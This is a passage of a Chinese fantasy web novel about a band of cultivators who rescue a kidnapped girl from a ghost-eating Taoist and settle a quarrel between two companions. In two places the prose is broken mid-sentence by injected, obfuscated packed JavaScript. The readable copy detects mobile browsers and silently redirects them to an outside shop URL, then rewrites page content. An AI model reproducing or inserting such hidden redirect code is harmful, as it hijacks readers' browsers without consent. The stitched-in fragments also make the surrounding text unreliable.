小对眼见了他们也吃了一惊,它慌得脚底打滑,差点从树上掉下来。墨墨飞到旁边拱了拱它,想让它跟自己一起回去。小对眼却弓起背纵身一跃,跳到了另一棵树上。宋胡缨道:“别跑!” 小对眼接连跳了几下,从树林里钻了出去,跳到了大路上。宋胡缨和李玉真追着它,跑的气喘吁吁的,一边道:“回来,别跑了!” 它就像个标准离家出走的小孩儿,被家人找到还气鼓鼓的。宋胡缨道:“你回来,我以后不打你了。” 李玉真也喊道:“就是,有什么事咱们好商量,别闹脾气了。” 小对眼一直往前奔去,也不知道自己要去什么地方,反正跑就是了。它没跑出多远,就见几匹马从前头的路口奔了过来。那马上还有人,要是被踩一下可不是闹着玩的。 小对眼一个急刹,差点把自己甩飞出去。宋胡缨连忙冲了过去,揪着它后颈把它抱了起来。小对眼浑身炸着毛,还呜呜直叫。宋胡缨道:“好了,差不多得了,我跟你认错了行不行。” 她摸了小对眼几下,它渐渐没那么炸毛了,身上的劲儿也松下来了。李玉真松了口气,道:“没事就好,咱们回去吧。” 他们这么旁若无人的,让对面的几个人十分不满。那几个骑马来的人勒住了缰绳,皱眉道:“你这小姑娘突然冲出来干什么,不要命了?” 宋胡缨抱着她儿子,道:“救猫啊,你没看见么?” 那三个人身穿窄袖劲装,身后背着刀,一副武人打扮。他们见宋胡缨是个女子,就对她十分轻视。一人道:“一只猫而已,值什么钱。惊了大爷的马你赔的起么?” 宋胡缨皱起了眉头,觉得这几个人太傲慢了,忍不住想教训他们。她伸手一摸,刚才出来的急,没带斩马/刀。她行事容易冲动,李玉真考虑的更周全一些,轻轻一碰她的衣袖,示意她暂时忍耐。最近来月亮山的邪修颇多,这几个人不知道是什么来路,还是不跟他们冲突为好。 李玉真抱拳道:“抱歉,我们以后一定注意。” 一人哼了一声,觉得这小道士还差不多,道:“算你懂事。走吧,别跟他们废话。” 另外两个人便打马向前去了,一道黄尘飞扬起来,相当跋扈。李玉真看着他们前行的方向,果然不出所料,道:“他们是来参加满月盛会的。” 宋胡缨嗯了一声,今天已经是正月十二了,往这边聚集的人越来越多,他们也要多加小心了。 两人带着小对眼回了营地,墨墨拍着翅膀先飞回来了。段星河正坐在营地里晒太阳,一个人放空了一会儿,感觉身上暖融融的。他忽然听见墨墨在身边啾啾地叫,睁眼道:“找回来了么?” 李玉真应声道:“带回来了。幸亏瓜皮去帮忙了,要不然真不好找。” 段星河见小对眼趴在宋胡缨怀里,俩人已经和好了。他也松了口气,道:“以后可别再吵架了。” “我不再打它就是了嘛。”宋胡缨道,“跟它说好了,它以后也不能再离家出走了,是不是?” 她低头看着儿子,小对眼呜地叫了一声,宋胡缨便笑了,冰冷的容色映着红裙,显得十分艳丽。她把小对眼放在了地上,道:“今天太阳好,自己玩会儿吧。” 李玉真把早饭热了热,拿着饭盆过来,道:“吃点东西。” 小对眼饿得不行,埋头一阵猛吃。褴褛道人坐在远一点的地方,看着这边,咽了一下口水。就连猫吃饭他都馋,这人也是够与众不同的了。 段星河道:“在哪儿找到的?” 李玉真坐在一旁,看着儿子吃饭,一边道:“前头树林里,我们一去,它就撒着丫子往前跑,差点让马撞着了。” 段星河道:“什么马?” 李玉真想起了刚才那几个人,道:“有几个人要去月亮山,应该是邪派宗门的人。差点踩了小对眼不说,还让我们道歉。” 宋胡缨也有点生气,道:“就是,一点礼貌也没有,嚣张得很。” 段星河道:“是什么宗门的,能看出来么?” 李玉真道:“他们穿着便服,不过我看他们那股霸道劲儿,有点像啸山宗的……不好说。” 段星河点了点头,再往前走只会遇到越来越多的邪修,其中有不少跟自己有过节。段星河寻思着该稍微易容遮挡一下,行事也得低调一些,免得捅了马蜂窝。 众人往前走了一日,明天就要到月亮山了。大家在路边扎了营,晚上煮了一大锅羊汤,就着饼子吃了。魏小雨烤着火,忽然有些想家,不知道母亲这会儿在干什么。从前这么冷的晚上,母亲会用被子裹住她,唱歌给她听。魏小雨拽了拽结香的衣袖,小声道:“结香姐,给我唱首歌吧?” 结香有些为难,道:“我不会,我娘……没给我唱过。” 魏小雨想了想,往旁边的步云邪身上一歪,央求道:“那二师兄唱一个,你唱歌最好听了。” 步云邪看出她是想家了,不忍心拒绝,道:“唱完了你就去睡觉。” 魏小雨一口答应,道:“好,我现在就睡。” 她趴在步云邪的膝盖上,闭上了眼睛。步云邪随手拍着她的背,轻声唱道:“若有人兮山之阿,被薜荔兮带女萝。既含睇兮又宜笑,子慕予兮善窈窕——” 他唱的是一曲山鬼,声音清澈空灵。其他人围着篝火,听着他的歌声,心都变得温柔起来。 “乘赤豹兮从文狸,辛夷车兮结桂旗。被石兰兮带杜衡,折芳馨兮遗所思。” 段星河想起了他在寨子里祭祀的情形,月光下他的身影神秘而又庄严,让人神往。不止他,伏顺和赵大海他们都想起了从前的事,有些怀念。 “雷填填兮雨冥冥,猨啾啾兮狖夜鸣。风飒飒兮木萧萧,思公子兮徒离忧。” 一曲唱完,魏小雨已经睡着了。宋胡缨感觉文绉绉的,轻声道:“好听,唱的什么意思?” “我知道,”李玉真道,“是一个姑娘在山里跟心上人约会。天快黑了对方也没来,姑娘一边徘徊,一边想,你在什么地方,怎么还不来见我。” 宋胡缨道:“所以最后去了没有?” 李玉真道:“没有,姑娘自己回去了。” 宋胡缨顿时觉得没那么浪漫了,不满道:“约会为什么让女孩等,还失约,不分留着过年?” 李玉真笑了,说:“这个……有别的意思,代指君臣之间,朋友之间,很多含义的。” 步云邪把魏小雨抱了起来,送回了帐篷里,给她盖上了被子。魏小雨喃喃道:“娘……别走,我听话。” 步云邪摸了摸她头发,轻轻出了帐篷。其他人各自准备睡了,段星河躺在了被子里,想着步云邪刚才唱歌的情形,意犹未尽,拿胳膊肘碰了碰旁边的人,道:“再唱一遍,好不好?” 步云邪翻了个身,背对着他道:“她今年十二,你多大了?” 段星河有些遗憾,只好放弃了。他睡到半夜,朦胧间好像有人呼喊,他睁开了眼,听见司空玉竭力道:“救命,快来人——” 段星河猛地坐起来,忽然感到一阵天旋地转,浑身都没了力气。步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大家洗了脸,吹了一会儿冷风,感觉稍微好一些了。段星河正要去找小雨,忽听周围传来一阵窸窸窣窣的声音。他抬眼望去,就见几个黑乎乎的鬼影子从树丛里钻了出来,每个鬼的四肢都干瘪瘦削,一张大嘴咧到耳根,长着一个鼓起的大肚子,眼睛放出绿油油的光,仿佛要把一切能吃的东西都塞进嘴里。就像地狱图里的饿死鬼似的,一个个张着嘴,弓着腰,摇摇晃晃地朝他们走了过来。 “呜——” 这些鬼东西应当是褴褛道人召唤来的,故意要拖延他们的时间。饿死鬼们发出低吼,离他们越来越近了。伏顺打了个寒战,道:“哥,这玩意儿吃人吗?” 段星河也不知道,拔出了幽冥剑,做好了战斗的准备。一只饿死鬼朝伏顺扑过来,也不嫌臭,张开大嘴就咬他的脚。伏顺惨叫一声,用力踢了它几下,被那家伙咬掉了一只鞋。饿死鬼蹲在地上,专注地啃起了他的鞋,咯吱咯吱咯吱,很快就把小牛皮的鞋面吃掉了半截。 伏顺倒吸了一口气,道:“这玩意真不挑啊……喂,我白天刚踩了马粪,你不嫌脏啊?” 饿死鬼抬头看着他,好像不能理解他的话,泛滥的口水从嘴角淌下来。其他几个饿死鬼咽着口水,朝他们围了过来。伏顺打了个激灵,道:“大傻,它们看我干什么?” 赵大海道:“它们可能看上你这身肉了。” 伏顺的脸都白了,躲在了赵大海身后,道:“赶紧想个办法,让它们滚蛋!” 赵大海身上的迷药劲儿还没消除干净,扛不动盾。他灵机一动,从旁边的垃圾堆里捡起几块没啃干净的羊棒骨,朝远处扔了出去。 饿死鬼闻见了羊肉味儿,争先恐后地扑上去。六幺趁机提剑砍过去,他的剑上附了魔,寒光划过,几个饿死鬼顿时砰地一下子变成了一把飞灰。段星河掠过来,斩杀了另外几只饿死鬼。六幺的眼睛通红,司空玉受了伤,他比任何人都自责,顺带看所有人都很不顺眼。段星河被他的目光扫到,感到了他不爽的情绪,没说什么。 六幺大步奔回帐篷,单膝跪在司空玉面前,用治愈术治疗她胳膊上的伤口。他指尖放出浅绿色的光芒,一点不大的伤,他恨不能使出全身的力气去治疗。 司空玉的伤口很快痊愈了,六幺道:“还疼吗?” 她道:“我没事,快去救小雨!” 六幺回过头,见段星河已经提着剑向远处去了。到处都黑漆漆的,大家心里很是担忧,不知道魏小雨被抓到什么地方去了。 密林中,步云邪找到了褴褛道人的身影,喊道:“站住!” 他一跃拦住了褴褛道人的去路,道:“把人放下!” 褴褛道人扛着魏小雨,嘿嘿一笑道:“为什么要放,道爷我好不容易把这小妖怪偷到手,当然要带回去好好吃了她!” 魏小雨吓得浑身发抖,道:“你怎么吃人?” 褴褛道人得意道:“小娃娃,你身上的灵力这么强,我一早就闻见味儿了。道爷我略施小计就把你们耍的团团转,你们知道我还有一个名号是什么吗?” 魏小雨颤声道:“死变态?” 褴褛道人也没生气,道:“我叫饿道人,与饿死鬼同修,吃什么都像无底洞一样。吃你这个小娃娃自然也是小意思。” 步云邪明白过来了,怪不得这人头大身子小,瘦骨嶙峋的吃什么都是一口没,原来是像饿死鬼。自己居然看走了眼,相信了他。 饿道人深吸了一口气,吞着口水道:“这可是上等的容器啊,邪道的灵力有多少都能盛得下,道爷我遇上了岂能放过!” 魏小雨身上擦破了点皮,一缕鲜血顺着胳膊淌了下来。他伸出又尖又长的舌头,怕浪费似的舔进了嘴里。魏小雨尖叫道:“不准碰我,你这个死变态!我让我爹打死你!” 褴褛道人根本不理会她,砸了咂嘴道:“不对,差点劲……不过也跟正牌货差不了多少,哈哈哈哈吃到也算我赚了!” 魏小雨生来灵力就极其强大,难怪这饿死鬼被吸引了过来。步云邪刚中了迷药,跟他打起来怕是要吃亏,只好尽量拖延时间。他道:“别吃她,你想要什么都可以商量。” 月光照下来,步云邪穿着一身单薄的白衣,头发散在脸庞,容貌十分清俊。饿道人打量着步云邪,还真的有点动心,缓步朝他走了过来。 饿道人跟他相对而立,露出了阴险的笑容,道:“不吃她也行。我看你长着一颗七窍玲珑心,难得的很。要是你把心给我,我就放了她。” 就算自己把心掏给他,他也不会放过魏小雨。步云邪看着他,神色淡淡的,好像并没有生气。魏小雨拼命摇头,道:“二师兄,这人坏得很,千万别相信他!” 步云邪却道:“你说话算数么?” 饿道人感觉有门,咧嘴道:“自然算数,我饿道人从来不骗人!” 魏小雨快急哭了,连自己都知道他在撒谎,不知道一向聪明的二师兄怎么会轻信这个坏人。 步云邪道:“别怕,我这就换你出来。” 他背过身去往胸中一掏,身体猛地一震,仿佛疼的厉害。片刻他缓缓转过身来,手里拿着一颗血淋淋的心脏。幽幽寒夜之中,那颗心冒着热气,还在咕咚咕咚地跳动着,鲜血从他指间淋淋漓漓地淌了下来。魏小雨吓得尖叫一声,闭上了眼,大哭道:“二师兄死了,你把我二师兄害死了,你赔!” 步云邪面如金纸,神色惨淡,胸口露着一个血淋淋的大洞,哑声道:“我把心脏给了你,你可一定要放了我小师妹。” 饿道人的眼睛顿时亮了起来,连忙道:“好,我答应你便是!” 他上前抓过那颗心脏,一口吞了下去。鲜血顺着嘴角淌了下来,他极其兴奋。有了这颗心,他的修为就大有长进了。 滚烫的心脏咽下去,忽然变得冰冷起来。一道寒气从他肚子里传出来,扩散到全身,寒霜蔓生在他的体内、体外,每一根血管里,冻结了他的身体。雪白的冰霜渐渐扩散到他的双腿、双臂、脖子,让他一动也动弹不得。 他再也扛不住魏小雨,她从他肩膀上摔了下来,坐在地上大哭道:“二师兄,你心脏都没了,怎么还站得住啊?” 饿道人又气又怒,恶狠狠地瞪着步云邪,道:“怎么回事,你骗我!” 步云邪微微一笑,胸口的大洞渐渐消失,容色又恢复了正常的模样。 他道:“你既然说我有七窍玲珑心,天下人只有被我骗的份儿。我逗一逗你,不过分吧?” 92.饿道人 三 一阵寒风吹过,步云邪好端端地站着,神色平和自在,哪有半点受过伤的样子。 原来他刚才背过身去,用灵力凝结了一道寒冰咒,继而使出了刚从拜月教学会的幻术,制造出了一颗足以乱真的心脏,递给了他。饿道人贪婪无度,有吃的便一口吞下肚,哪里会仔细看。他中了步云邪的招,此时被寒气侵袭动弹不得,也是活该。 魏小雨张大了嘴,十分诧异,片刻破涕为笑道:“太好了,二师兄你真厉害!” 不远处传来了脚步声,段星河喊道:“人呢?” 步云邪应道:“这边。” 段星河闻声赶了过来,见饿道人已经被冻住了。步云邪一副气定神闲的模样,魏小雨坐在地上,满脸都是鼻涕和眼泪,所幸人没大事。段星河道:“怎么回事?” 魏小雨愤愤地告状道:“这个死变态,他要吃我!” 段星河皱起了眉头,提着幽冥剑走到饿道人面前,道:“你想吃我小妹?” 饿道人浑身都被冻住了,只剩下嘴能动弹,逃又逃不了,浑身一个劲儿地发抖。他道:“误会,一场误会,你不是想去月亮山么,我把骨符送给你。好兄弟,饶我一命!” 段星河同情他、收留他、还好吃好喝地招待他,他却暗地里对自己的兄弟姐妹下手,简直是好心没好报。段星河动了真怒,冷冷道:“你还配跟我谈条件?杀了你,你的东西不都是我的了么!” 他说话声中,长剑狠狠斩下。饿道人连惨叫都来不及,头颅已然被砍了下来,滚在地上血撒了一地。步云邪先一步捂住了魏小雨的眼睛,不让她看那血腥的情形。 段星河弯下腰在饿道人的尸体上摸了摸,找到了夷州部落的骨符。淡黄色的骨符在月光下泛着淡淡的光芒,透出若有似无的邪气。有了这东西,就可以自由出入拜月教的地界了。 这时候一道黑烟从饿道人的体内钻出来,飘飘渺渺地晃了晃,还不相信它的宿主已经死了。黑烟形成了几个饿死鬼,它们低头注视着那具尸体,仿佛觉得弃之可惜,索性围上去啃食起来,发出了咯吱咯吱的声音。 那具尸体很快被啃得血肉模糊,露出了森森白骨,血腥味散发出来。那些饿死鬼就像野狼一样,埋头贪婪地撕咬着。两个人都皱起了眉头,段星河道:“看见了么。” 步云邪嗯了一声,道:“养这种东西,被反噬也是早晚的事。” 吱吱喳喳的啃食声还在继续,两人不再管那些饿死鬼。段星河把骨符收进了腰包里,转身背起了魏小雨,道:“回去了。” 回了营地,众人的迷药已经消解的差不多了。除了司空玉受了伤之外,别人都没事。她是为了保护魏小雨受伤的,此时见段星河把人好好地带回来了,顿时露出了笑容,站起来道:“回来了!” 段星河把魏小雨放在地上,她连忙朝司空玉奔了过去,道:“玉姐姐,你没事吧,我看你流了好多血。” 司空玉的伤口已经用治愈术治好了,她把胳膊露出来,微笑道:“没事了,你看。” 她的外伤虽然愈合了,身体还有些虚弱,却不想让人担心。魏小雨十分自责,难过道:“对不起,都是我不好。” 司空玉擦去了她的眼泪,道:“哭什么,不是你的错,是那个臭道士心眼不好。他怎么样了?” 魏小雨没说话,司空玉见段星河身上溅了些血,道:“你把他杀了?” 段星河冷冷道:“他死有余辜。” 司空玉沉默下来,越是靠近月亮山,邪修越多。他们这回太大意了,接下来一定得擦亮眼睛。六幺走过来,道:“县主,早点休息吧。明天咱们别去月亮山了。” 司空玉道:“为什么?” 他没能保护好她,心里自责的很,看这些人都不顺眼,脸色也阴沉沉的。他道:“你是千金之躯,和别人不一样。我的职责就是保护你,不能让你去那么危险的地方。” 司空玉皱起眉头,道:“不是说好了么,大家一同进退。咱们都结伴走到这里了,为什么不去?” 六幺不但不想让她去月亮山凑热闹,甚至还想就此跟其他人分道扬镳。这些人也不知道是怎么回事,身上就像绑着香飘十里的诱饵,一路上吸引了无数怪物邪修来找麻烦,跟他们在一起就没有一天安稳过。 六幺道:“咱们本来就是要给蜀山掌教送琴的,路上耽搁了这么久,不太合适。明天咱们就先走一步,跟各位告辞了吧。” 他说着,冰冷的目光环视了一圈,最终停在了段星河脸上。段星河还没开口,司空玉却恼了,道:“你一个侍卫,凭什么替我做主!” 六幺认真道:“我是怕你会有危险。” 司空玉道:“我不是三岁小孩子,我能保护自己。” 六幺道:“你都受伤了。” 司空玉从前在府里待着,一直很向往外面的世界。如今终于出来了,说什么也不想回到樊笼里去。她道:“那又怎么样,行走江湖,受点小伤也没什么大不了的。” 六幺道:“我不能让你受伤,我必须保证你的安全!” 司空玉本来还想维持县主的体面,但六幺这么固执,让她也很恼火。她生气道:“沈绿腰,你还听不听我的了!” 沈绿腰这三个字如同死穴,一旦说出来,就是要和对方大吵一架了。 众人都感到了小时候被师父爹娘怒喊全名的恐惧,忍不住打了个寒战,一时间谁也不敢说话。 饶是六幺这样的铁汉子也沉默下来。司空玉眼睛红通通的,快被他气哭了。六幺动了动嘴唇,似乎想让她别那么生气,但又说不出口。司空玉擦了一下脸,转身快步走了。宋胡缨连忙跟过去钻进了帐篷,去安慰她了。 六幺在原地站了一会儿,好像有点后悔,又有些说不清的复杂情绪。众人都看着他,也不知道该怎么办才好。他垂下了眼,心里也还在赌气,转身朝着另一个方向走了。 六幺从刚才起,好像就一直在针对段星河。或者说自从认识开始,他就对段星河保有一定程度的戒心。段星河看得出来他喜欢县主,但两人的身份毕竟相差太悬殊,他只能默默隐忍。 六幺保护着司空玉,心甘情愿地听她的吩咐,照料她的一切,但同时也在控制着她,甚至在心里的某个角落,悄悄地把她当成自己的私有物,不愿让任何人来抢。 那种情感隐秘而又卑微,毫无指望。只有短暂跟她相处的这段时间里,她是属于他的。司空玉那么聪明,自然也对此有所察觉,却又离不开六幺。她有时候会对他发点小脾气,证明自己是能够驾驭得了他的。六幺对她的一切都甘之如饴,事事处处都让着她。当然这建立在他强大的能力之上,当他认为自己没办法保护她的时候,双方的矛盾就激化了。 段星河把司空玉当成朋友,跟宋胡缨、李玉真没有任何区别。但六幺好像把他当成了假想敌,把自己跟司空玉之间的不可能都转化成切实的嫉妒,归咎于段星河。 段星河可以理解他的心情,司空玉是个很好的姑娘,出身高贵,容貌美丽,性情也是难得的□□洒脱。段星河清楚自己是个穷小子,对她没有半点非分之想。而且他身上的煞气还没化解,现在一心只想消除诅咒,对别的都没有兴趣。 步云邪的目光清澈,已经看出了他们之间的纠葛。虽然面子上还过得去,大家心里已经闹了八百个别扭。段星河过去道:“兄弟,怎么办?” 步云邪露出促狭的笑容,仿佛觉得很有趣。段星河道:“还笑,跟你没关系是不是。” 步云邪觉得是跟自己没什么关系,一副吃瓜的心态道:“人家觉得你有威胁是好事啊,说明你长得帅嘛。” 段星河有点心烦,道:“别开玩笑了,快帮我想个主意。” 步云邪想了想道:“他要走就由得他。不过司空姑娘应该是不愿意走的……去劝劝六幺吧,县主是不会向他低头的。” 段星河道:“就这么去合适么?” 步云邪道:“有什么不合适的。大家都是兄弟嘛,他没那么小气。” 段星河寻思了一下,便朝着六幺离开的方向去了。李玉真走了过来,担忧道:“万一六幺跟段兄打起来怎么办?” “不至于,”步云邪淡淡道,“就算真打起来了,把气撒出来就好了。大家都是敞亮人,没什么过不去的坎儿。” 他说着转身向帐篷走去,觉得没什么好担心的。李玉真道:“你干嘛去。” 步云邪悠然道:“大半夜的,当然是睡觉。离天亮还好几个时辰呢。” 六幺担心司空玉会有危险,也没走得太远。绕过树丛有一块荒地,路边有一块大石头。六幺穿着一身黑衣裳,曲起一膝坐在石头上,抬头看着清冷皎洁的月亮,显得有些落寞。 那块石头大得很,段星河走了过去,道:“我能坐么?” 六幺没说话,他就在旁边坐下了。段星河腰上挂着个葫芦,里头盛着高粱酒。虽然天气冷,快到十五的月亮还是很美的。 段星河喝了一口酒,很是悠闲自在,没有要跟他分享的意思。六幺看了他一眼,仿佛觉得自己都这么恼火了,他居然还在自己旁边吃独食。 段星河笑了,把葫芦递过去,道:“冷不冷,驱驱寒?” 六幺接过葫芦,仰头灌了一大口。高粱酒辛辣刺喉,喝下去身体里就像点起了个小火炉,暖融融的。他挺能喝的,非但没被呛着,反而越喝眼睛越亮,就像星子一样。 段星河道:“多谢县主救了我的小妹子。我好不容易把小雨找回来,她要是出了事,我没办法跟师娘交代。” 六幺道:“县主心地善良,她一直都这么好的。” 段星河嗯了一声,道:“她很好,你也不错。” “我不是什么好人,”六幺淡淡道,“命犯孤辰,刑克六亲,出身也不怎么样。只有一个师父,后来他也去世了。若不是紫衣侯和县主收留我,恐怕我还在到处漂泊。” 他看着月亮,显得有些伤感。段星河道:“你修为这么高,就算不为县主做事,也有自己施展拳脚的机会。” 六幺摇了摇头,没说什么。片刻他看了段星河一眼,想瞧一瞧他到底哪里好,值得县主对他青眼有加。段星河的模样俊朗,有种坚毅的气质,往人群里一站自然就有一种向心力。而六幺像一头猎豹,敏捷、强悍,擅长伏击,藏在阴影中才能够爆发出更大的力量。 或许他能给她更多的安全感,也能并排与她站在一起。而自己永远只是她的一个侍卫而已。 六幺忽然有点想知道他的事,道:“你是从外面来的?” 段星河嗯了一声,六幺道:“跟我说说你那边的事吧。” 夜风轻轻吹来,立春之后,天气已经有回暖的迹象了。林子里的树冒出嫩黄的芽苞,充满了生发的力量。段星河想起了家乡的早春,望着远方道:“外面比这边安逸,妖魔不会招摇过市,修道的人也少得多。大家没事就种种地,读读书。我住在巴蜀青岩山,春天这时候满山的迎春花就开了。到了夏天,山里到处都是大河和小溪,还有瀑布,哗哗的特别凉爽。山上会开一种叫蜀葵的花,什么颜色都有,一串串的,开得又大又野。往草地里一躺,能压倒一大片。那东西很好养活,可我来到这边还没见过这种花。” 六幺有点向往,但想象不出那种野花长什么样。他道:“还有呢?” 段星河道:“我在逍遥观修行,旁边就是步家寨子。阿云的爷爷是那边的族长,我经常去找他玩,他阿娘就在井里湃好了西瓜和桃子等着我。大家没事念念经、练练功,日子就这么过来了。那时候觉得一天都很漫长,唉……现在想回去也难了。” 他说着叹了口气,不由得想念从前的时光。六幺没说话,段星河看了他一眼,道:“你呢?” 六幺道:“我家开了个小酒坊,我从小闻着酒味长大的。” 段星河喔了一声,道:“怪不得,酒量这么好。” 六幺淡淡道:“我娘是个琵琶女,我爹把她从教坊司赎了出来,给她买了个小酒坊。跟她在一起生活了三年,后来他说要回家禀明父母,就这么走了。我娘等了他五年,他却一直没回来。后来我娘生了重病,缠绵病榻之际,我师父从酒坊路过,得知了我娘的际遇,对她很同情。我娘临终前把我托付给了师父,到死仍然不信那个男人把我们母子俩抛弃了。” 段星河没想到他的童年这么苦,从外表根本看不出来。他想了想,道:“那你去找过你爹没有?” “怎么没去过,”六幺冷淡道,“当年葬下了我娘,师父就带着我去大新找我爹。好不容易找到了那家大宅子,却得知他早就娶了新夫人。我爹要跟以前一刀两断,自然也是不认我的,给了师父五十两银子就想打发我们走。师父很生气,说这人狼心狗肺,不配做我爹,从此就带着我修道去了。” 段星河道:“后来呢?” 六幺道:“我没再去找过他。听说他前两年就死了,两个儿子争夺家产,打的不可开交,可能这就是他的报应吧。” 段星河有些同情他,道:“都是过去的事了,别太放在心上。” 六幺嗯了一声,道:“我早就想开了,我爹不是个好东西,把他当成个过客就算了。其实我也已经不记得我娘是什么样子了,只记得她弹琵琶很好听,总是穿着一身白色的衣裳,就像一朵云彩一样。她有时候会坐在窗边弹琵琶,微微低着头的模样很温柔。” 他静了片刻,神色有些恍惚,仿佛回到了小时候。他低声道:“这些年我一直努力练功,就想着……如果我能保护得了她就好了。” 段星河有些动容,道:“你现在也能保护重要的人。” 六幺也是这么想的,在他眼里,司空玉就像他的母亲一样温柔美丽。当年他没能给母亲的保护,都想倾注在司空玉身上。那是一种寄托,也是弥补遗憾的方式。 “我会好好保护她的,”他道,“她对我来说就像仙女一样,我不允许任何人伤害她。” 段星河意识到了什么,道:“你的道心莫不是……” “守护,”六幺干脆道,“在认识县主之前就是了,遇到她我很高兴,她就是值得我守护的人。” 段星河笑了,道:“很合适你。” 六幺道:“你呢?” 段星河道:“我的道心是自在,就想逍遥度日,跟兄弟们在一起就很好了。” 六幺明白了他的意思,认识了这么久,其实六幺也知道他没有跟自己争夺的意思。他对段星河既有些控制不住的嫉妒心,又有些惺惺相惜的心情。如今把话说开了,两人都轻松了不少。 段星河道:“你明天要走么?” 六幺苦恼道:“县主那么生气,怎么可能跟我走?” 段星河道:“那你去跟她道个歉嘛。” 六幺道:“道歉……说什么?” 段星河也不知道说什么。两个男人大眼瞪小眼,静了片刻,六幺道:“算了,我自己想吧。” 六幺不愿意让司空玉去满月盛会冒险,司空玉又不愿意跟六幺先走,拉扯着又要闹起来。段星河寻思了个折中的法子,道:“要不你们在月亮山外等一等,我去凑完了热闹,咱们再汇合一起走。” 反正蜀山离这里已经不远了,六幺想了一下,觉得也行。他道:“那就这样吧,明天我跟她说。” 两个人坐着吹了一会儿风,段星河没有要回去的打算。六幺道:“你还有话要说?” 段星河想知道他会不会弹琵琶,又不知道当问不当问,但着实好奇了很久了。六幺猜到了他在想什么,道:“我娘会弹琵琶,我不会,我连弦都不认识。” 段星河笑了,道:“那为什么叫沈绿腰?” 六幺道:“因为我爹喜欢绿腰这首曲子,常让我娘弹给他听。我娘想他的时候,也总弹这首曲子。” 段星河沉默下来,觉得自己又踩了一脚雷。六幺站了起来,神色倒是很淡定。他伸了个懒腰,道:“我不喜欢这首歌,但也不讨厌。我不喜欢别人叫这个名字,没事别这么喊我。” 天渐渐亮了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099998|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 六幺一大早就在司空玉的帐篷外等着,要跟她负荆请罪。宋胡缨昨天晚上陪她睡的,早晨一出来,就见六幺帮她们守着帐篷,好像熬了一夜。 她有点惊讶,道:“你昨天晚上没睡?” 六幺道:“睡了一会儿,刚过来。” 他眼睛底下有两个浅浅的黑眼圈,得罪了司空玉他连觉也睡不踏实,还不如来给她站岗放哨。 宋胡缨同情地看着他,道:“我帮你叫她。” 六幺道:“不用,让她再睡一会儿吧。” 司空玉已经从帐篷里钻出来了,她左边胳膊下夹着小对眼,右手拿着个铜盆,准备打水洗脸。六幺连忙一个箭步接过了盆,道:“我来。” 司空玉睡了一宿,已经没那么生气了。她弯腰把小对眼放了出去,道:“玩去吧。” 六幺把水打回来,站在旁边等着。司空玉不高兴道:“看什么看,姑娘家洗脸是给你看的?” 六幺又不是没见过,但她闹别扭不让看,他只好背过身去了。 片刻司空玉收拾好了,总算有功夫理他了,冷冷道:“你有话说?” 六幺老实道:“县主,对不起。我昨天态度不好,你责罚我吧。” 司空玉哼了一声,道:“我可使唤不动你,还责罚,我有那个本事么。” 六幺知道她还想在外面游历,道:“我昨天跟段兄商量过了,满月盛会上邪修太多,实在危险。段兄要寻找登阶之法,不得不去一趟,咱们就和其他人一起在外头接应他,你觉得怎么样?” 司空玉没想到他居然跟自己妥协了,心中舒服了一些。她也没有特别想去看满月盛会,只是不想跟这些朋友分开。她看了六幺一眼,道:“安排的不错,那就听你的。” 六幺感觉她还有点记仇,连忙道:“不敢,属下都听县主的。” 司空玉没再理他,回帐篷梳头去了,算是饶了他。六幺感觉事情解决了,松了口气。不远处就见李玉真拿了一块牛肉干喂给小对眼,道:“好孩子,我们错怪你了。来吃肉,给你个大块的!” 墨墨闻见了肉干的味道,飞过来蹭肉吃。小对眼吃肉,它在地上捡肉屑。李玉真撕给墨墨一块,道:“别捡了瓜皮,你也来一块。” 动物的直觉都很准,小对眼虽然脑子不太灵光,但一早就感觉到那饿道人不是什么好东西,难怪一见面就挠他。宋胡缨还为此打了它,难怪它委屈的离家出走了。宋胡缨觉得很对不起儿子,亲自去切了胡萝卜和苹果块,把羊干酪和面饼泡软了,跟煮鸡蛋和水煮肉一起放在饭盆里,给两个崽子吃。 小对眼吭哧吭哧地吃的十分投入,已经忘了之前的不愉快。赵大海煮好了饭,给每个人盛了一碗玉米粥。伏顺面有菜色,道:“啊,又回来了,永远的玉米粥。” 赵大海道:“没办法,羊肉吃完了嘛。” 伏顺砸了咂嘴,惋惜道:“那么好的羊,被那饿死鬼吃了一大半,早知道就不给他了。” 众人吃了早饭,今天就是正月十五了,骨符也拿到了,等会儿段星河就去月亮山一探究竟。他倒是不怎么担心,反正去的人多,他又一身煞气,混在里头根本没人会注意到他。 步云邪不放心,道:“星哥,我和你一起去吧。” 那地方什么妖魔鬼怪都能遇上,段星河怕他危险,道:“你还是留下来跟其他人一起吧。” 步云邪微微皱眉,觉得大师兄小瞧了自己。他轻轻一招,手中忽然出现了一朵白色的莲花苞,花朵上带着新鲜的露水,甚至还散发着草木的清香味。段星河一诧,那朵花已经渐渐绽开,从花苞变成了盛放的模样。 李玉真睁大了眼,道:“哎呦,你这又是从哪儿学来的新本事?” 步云邪把手一摆,那朵花便悄然消失了,周围弥漫着一股阴沉的气息。莲花虽然清净,看来召来的法子却不怎么地道。 步云邪含笑道:“我学了拜月教的幻术,他们分辨不出我是外人的。” 李玉真很是羡慕,道:“怎么做到的?” 人面疮听见了,插嘴道:“是咒术辑录上的,通过邪法将另一个时空中东西的色、形、味、触感摄取来,消耗的也是那东西的生命力,所以这玩意儿格外逼真。” 折一支莲花不算什么,但若是动了更重要的东西就不妙了。步云邪本来还有些炫示之意,人面疮一多嘴,他便垂下了眼,目光游移着,似乎有些不自在。 